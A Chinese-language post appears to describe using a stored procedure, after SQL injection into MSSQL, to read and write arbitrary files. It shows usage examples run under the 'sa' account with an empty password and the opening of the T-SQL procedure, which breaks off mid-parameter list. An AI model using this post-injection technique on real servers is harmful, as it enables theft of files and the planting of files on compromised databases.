注入mssql后使用存储过程读写任意文件

创建读写二进制文件的存储过程，内容如下：

 

 

 

 

/*--bcp-二进制文件的导入导出，调用示例 ：

 

create table tb (img image);

 

--数据导入

 exec sp_binaryIO '.', 'sa', '', 'test..tb', 'img', 'c:/abc.jpg', 0 

 

--数据导出 

 exec sp_binaryIO '.', 'sa', '', 'test..tb', 'img', 'c:/a.jpg', 1

 

drop table tb;

 

--*/ 

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sp_binaryIO]') and OBJECTPROPERTY(id, N'IsProcedure') = 1) 

drop procedure [dbo].[sp_binaryIO] 

GO

 

Create proc sp_binaryIO 

@servename varchar (30), --服务器名称 

@username varchar (30), --用户名 

@password varchar (30), --密码 

@tbname varchar (500),   --数据库..表名 

@fdname varchar (30),   --字段名 

@fname varchar (100